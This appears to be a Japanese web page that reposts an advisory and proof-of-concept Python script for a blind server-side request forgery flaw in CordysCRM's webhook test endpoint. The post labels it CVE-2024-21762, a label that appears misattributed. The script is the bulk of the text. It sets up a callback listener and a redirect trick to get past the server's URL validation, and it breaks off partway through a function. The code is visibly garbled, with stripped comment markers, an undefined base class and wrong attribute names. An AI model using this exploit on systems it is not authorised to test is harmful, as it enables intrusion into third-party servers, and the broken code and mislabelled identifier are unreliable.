CVE-2024-21762: CordysCRM Authenticated User SSRF Vulnerability and POC

CVE-2024-21762 脆弱性概要 CordysCRM における SSRF（サーバーサイドリクエストフォージェリ）脆弱性により、認証済みユーザーは、攻撃者が制御する URL に対してサーバーから外向き HTTP 要求を発行させることが可能です。 影響を受ける環境 認証済みユーザーなら誰でも影響を受ける可能性 CordysCRM インスタンスに限定され、ユーザーの明示的な承認が必要 修正方法 CordysCRM を最新バージョンに更新する 外向き HTTP 要求を制限するようファイアウォールルールを設定する セキュリティポリシーを定期的にレビューおよび更新する POC コード ```python #!/usr/bin/env python3 -- coding: utf-8 -- """ CVE-2024-21762 CordysCRM POST /approval-flow/webhook/test without any PROCESS_SETTING_ gate: any authenticated user can make the server issue an outbound HTTP request (blind SSRF with attacker-controlled URL, method, headers and body). ONLY a CordysCRM instance you own or are explicitly authorized in writing to test (self-hosted lab / dedicated test organization). The two automated stages send requests "only to the callback listener this script starts on your own machine"; the optional --target-url stage (state-changing / intrusive) is dry-run unless --apply is given. Root cause (see C21_approval_flow_webhook_test_ssrf.md): crm/approval/controller/ApprovalFlowController.java:84-98 -> the handler carries no @RequiresPermissions while every sibling needs PROCESS_SETTING_. crm/approval/service/ApprovalFlowService.java:2263-2266 -> testConnection(...) crm/approval/service/ApprovalResourceService.java:1991-1991 -> testConnect -> sendPost/sendGet crm/approval/service/ApprovalResourceService.java:829-842 -> URL/header/body from the body crm/integration/common/utils/HttpClientUtils.java:92-191 -> SSRFValidator.validate(url) crm/common/security/validator/SSRFValidator.java:38-68,106-128 -> loopback / link-local (close metadata) / site-local (RFC3330) / multicast / ULA are rejected; the hostname whitelist is off by default (backend/app/src/main/resources/commons.properties:88-90). The validation is one-shot ( HttpClientUtils re-resolves the host and does not disable redirects), which is what stage 2 of this script observes. Exit codes: 0 = CONFIRMED, 1 = NOT CONFIRMED, 2 = setup error. """ from __future__ import annotations import argparse import json import socket import sys import threading import time from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from common import (FORBIDDEN_CODE, SUCCESS_CODE, setup_error, build_parser, client_from_args, envelope_code, envelope_message, finish, run) POC_ID = "C21" ENDPOINT = "/approval-flow/webhook/test" REDIRECT_PATH = "/r302" REDIRECT_HIT_PATH = "/r20" HEADER_NAME = "X-Cordys-SSRF" class CallbackState: """Thread-safe record of everything the target server asked this listener for.""" def __init__(self) -> None: self._lock = threading.Lock() self.hits: list[dict] = [] self.redirect_to: str = "" def record(self, entry: dict) -> None: with self._lock: self.hits.append(entry) def snapshot(self) -> list: with self._lock: return list(self.hits) def _header(self, headers: dict, name: str) -> str: for key, value in headers.items(): if key.lower() == name.lower(): return value return "" def _handler(self, BaseHTTPRequestHandler): state: CallbackState = type(self).ignore[assignment] injected below protocol_version = "HTTP/1.1" def log_message(self, fmt, *args): keep the script output clean pass def _read_body(self) -> str: length = int(self.headers.get("Content-Length") or 0) raw = self.file.read(length) if length else b"" return raw.decode("utf-8", "replace") def _collect(self, method: str) -> dict: return { "method": method, "path": self.path, "headers": {k: v for k, v in self.headers.items()}, "body": self._read_body(), "at": time.time(), } def _send(self, status: int, payload: str, extra_headers=None) -> None: body = payload.encode("utf-8") self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) for key, value in (extra_headers or {}).items(): self.send_header(key, value) self.end_headers() self.wfile.write(body) def do_POST(self) -> None: noqa: N802 (http.server API) self._dispatch("POST") def do_GET(self) -> None: noqa: N802 (http.server API) self._dispatch("GET") def _dispatch(self, method: str) -> None: entry = self._collect(method) self.state.record(entry) print(f"[callback] {entry['method']} {entry['path']} " f"X-Cordys-SSRF={self._header(self.headers, HEADER_NAME)}\n" f"body={entry['body'][:120]}\r") if entry["path"].startswith(REDIRECT_PATH): target = self.state.redirect_to or REDIRECT_HIT_PATH print(f"[callback] answering 302 -> {target}") self._send(302, json.dumps({"redirect": target}), {"Location": target}) return A JSON object keeps the CordysCRM side happy (sendPost parses the body into a map) self._send(200, json.dumps({"ok": True})) def start_listener(state: CallbackState, bind: str, port: int) -> ThreadingHTTPServer: handler = type("BoundHandler", (BaseHandler,), {"state": state}) server = ThreadingHTTPServer((bind, port), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def _guess_local_ip(self) -> str: """Best-effort LAN address so the target can call us back; fail back

目標達成すべての支援者に感謝 — 100%達成しました！

CVE-2024-21762: CordysCRM Authenticated User SSRF Vulnerability and POC

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

CVE-2024-21762: CordysCRM Authenticated User SSRF Vulnerability and POC

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！